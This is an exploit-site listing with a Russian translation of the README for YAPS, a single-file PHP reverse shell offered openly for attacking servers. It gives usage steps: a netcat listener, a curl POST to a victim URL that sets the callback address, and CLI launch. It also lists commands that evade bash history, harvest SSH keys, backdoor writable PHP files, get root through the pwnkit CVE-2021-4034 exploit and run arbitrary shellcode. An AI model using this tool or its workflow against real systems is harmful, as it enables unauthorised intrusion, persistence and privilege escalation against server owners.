Sploitus

Exploit for YAPS

kitploit · 2026-08-27

Exploit Code

MARKDOWN210 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NICKGUITAR-YAPS
# YAPS - **Е** щё **о** дна **P** HP **о** болочка

![image](https://assets.kitploit.com/production/public/readmes/4516/eb5c69f1a8b71d3b9a45bd92d2df979960e493672cf7371609d03e4938451f2f.png)

Да, как следует из названия, это ещё один PHP Reverse Shell, один из сотен доступных, но с некоторыми преимуществами. Это один PHP-файл, содержащий все свои функции, и вы можете управлять им через простой TCP-слушатель (например, `nc -lp 1337`).

В текущей версии (1.5) его основные функции поддерживают только системы Linux, но я планирую сделать его совместимым и с Windows.

На данный момент это первая версия, я ещё мало её тестировал, и _осталось многое, что я намерен сделать и улучшить в следующих версиях (**она ещё не готова!**)_, поэтому, пожалуйста, сообщите мне, если вы нашли какие-либо ошибки или у вас есть предложения по функциям или улучшениям. =)

## Возможности

  * Один PHP-файл (не нужно устанавливать пакеты, библиотеки или загружать тонны файлов)
  * Работает с netcat, ncat, socat, multi/handler и практически любым слушателем
  * Настраиваемая защита паролем
  * Не оставляет логов в .bash_history
  * Выполняет некоторую разведку 
    * Сетевая информация (интерфейсы, правила iptables, активные порты)
    * Информация о пользователе
    * Список SUID и GUID файлов
    * Поиск SSH-ключей (открытых и закрытых)
    * Список crontab
    * Список доступных для записи PHP-файлов
  * Автоматическая загрузка LinPEAS, LinEnum или Linux Exploit Suggester
  * Написание и выполнение PHP-кода на удалённом хосте
  * Запуск интерактивного обратного шелла
  * Дублирование столько соединений, сколько нужно
  * Автоматическое обновление
  * Инфицирование PHP-файлов бэкдорами
  * Автоматический обратный рут-шелл через pwnkit (CVE-2021-4034)
  * **[НОВОЕ] Отправка и выполнение шеллкода**



## Недостатки

  * Соединение не зашифровано (пока) (nc не поддерживает SSL)
  * Не полностью интерактивен (хотя вы можете запустить интерактивную оболочку с помощью `!interactive`) 
    * CTRL+C ломает его; нельзя использовать стрелки для навигации (если не использовать `rlwrap nc -lp <ip> <port>`)



## Использование

  1. Настройте TCP-слушатель;
  2. Укажите свой IP и порт. Это можно сделать:


  * 2.1 Редактируя переменные в начале скрипта;
  * 2.2 Установив их через POST-запрос (`curl -x POST -d "x=ip:port" victim.com/yaps.php`);


  3. Откройте yaps.php в браузере, выполните curl или запустите через CLI;


  * 3.1 Вы можете добавить `yaps.php?s` или `yaps.php?silent`, чтобы скрыть баннер
  * 3.2 Можно запустить через CLI: `php yaps.php ip port`


  5. Взламывайте!



## Рабочие команды

  * `!help` — показать меню помощи
  * `!all-colors` — переключить все цвета (совместимо с бесцветным TTY)
  * `!color` — переключить цвет PS1 (только локально, переменные окружения не меняются)
  * `!duplicate` — запустить ещё одно соединение YAPS
  * `!enum` — загрузить LinPEAS и LinEnum в /tmp и подготовить их к использованию
  * `!info` — вывести информацию о цели (перечисленную выше разведку)
  * `!infect` — инфицировать доступные для записи PHP-файлы бэкдорами
  * `!interactive` — запустить интерактивный обратный шелл на других портах (работает с sudo, su, mysql и т.д.)
  * `!passwd` — опции пароля (включить, отключить, установить, изменить)
  * `!php` — писать и выполнять PHP на удалённом хосте
  * `!pwnkit` — пытается эксплуатировать CVE-2021-4034 и запустить рутовый обратный шелл
  * `!shellcode` — отправить и выполнить шеллкод на удалённом хосте



## Скриншоты

Нажмите, чтобы развернуть раздел скриншотов

### Текущие команды:

![команды](https://assets.kitploit.com/production/public/readmes/4516/96b9d9f8012b71c3630b01ad35e105164cd0ee917ded4a0571452486653fb852.png)

### Разведка:

![image](https://assets.kitploit.com/production/public/readmes/4516/2edd565ee7671b6743242eabf1c64e8fc30a64474569c46c1f1823bed08e0648.png)

### Рутовый обратный шелл через CVE-2021-4034

![pwn](https://assets.kitploit.com/production/public/readmes/4516/26e01db826676b3ebdc1786300e652eb8fb87f0f5b5fe015c2d7e1686757f6f1.gif)

### Отправка и выполнение шеллкода!

![shellcode](https://assets.kitploit.com/production/public/readmes/4516/99c2e9a4e34da5a8b74d32126bb462e8f96576723d67a0b1306e5401f1a3d8ea.gif)

### Запуск интерактивной оболочки

![interactive](https://assets.kitploit.com/production/public/readmes/4516/fa636af052db5c7c45cdb4900199c680ba87b762b9b7245bf5bc8c76a8e6ba9c.gif)

### Дублирование сессии YAPS

![duplicate](https://assets.kitploit.com/production/public/readmes/4516/596252c01eb7275acc1c944184e5a0f89c4049bff8964d35db289ae352d7a3ec.gif)

## История изменений

**v1.5 — 12.02.2022**

  * Добавлена команда `!shellcode` для приёма и выполнения произвольного шеллкода
  * Улучшена функция `duplicate()` (теперь можно указывать диапазон портов)
  * Имя функции изменено с `stabilize` на `interactive`
  * Упакованы встроенные коды для экономии места
  * Исправлены битые ссылки
  * Добавлен префикс "TERM=xterm" ко всем командам
  * Незначительные улучшения



**v1.4 — 04.02.2022**

  * Добавлена команда `!pwnkit` для эксплуатации CVE-2021-4034 и запуска рутового обратного шелла
  * Улучшена функция `verify_update()`
  * Незначительные улучшения



**v1.3.1 — 01.08.2021**

  * Исправлены ошибки



**v1.3 — 28.07.2021**

  * Добавлена команда `!infect` для инфицирования PHP-файлов бэкдорами
  * Изменён payload в `!stabilize` (исправлены ошибки)



**v1.2.2 — 18.07.2021**

  * Изменена функция 'update'
  * Изменена функция 'connect'
  * Улучшена функция 'download'
  * Исправлены ошибки



**v1.2.1 — 17.07.2021**

  * Исправлены ошибки



**v1.2 — 17.07.2021**

  * Добавлена команда `!duplicate` для запуска ещё одной оболочки
  * Добавлена проверка обновлений (`--update|-u`)
  * Добавлены аргументы CLI (`--help|-h`)
  * Добавлен сокет через аргументы (`php yaps.php ip port`)
  * Изменён метод стабилизации оболочки (больше не зависает)
  * Изменён метод загрузки
  * Изменён метод подключения через POST (принимает один параметр)



**v1.1 — 12.07.2021**

  * Добавлена команда `!all-colors` для переключения цветов терминала и работы с бесцветными TTY
  * Добавлена команда `exit` для закрытия сокета (выход из оболочки)
  * Изменён payload в `!stabilize` — теперь сбрасывает HISTSIZE и HISTFILE
  * Изменён метод получения информации о CPU и памяти в `!info`



**v1.0.1 — 08.07.2021**

  * Заменено `[x,y,z]` на `array(x,y,z)` для улучшения совместимости со старыми версиями PHP
  * Изменён payload для интерактивной оболочки для работы с PHP < 5.4



## Благодарности

Некоторые идеи были вдохновлены этими инструментами:

#### Linpeas

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

#### Linenum

https://github.com/rebootuser/LinEnum

#### Suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

#### Pentest Monkey

https://github.com/pentestmonkey/php-reverse-shell

#### Arthepsy эксплойт для pwnkit

https://github.com/arthepsy/CVE-2021-4034/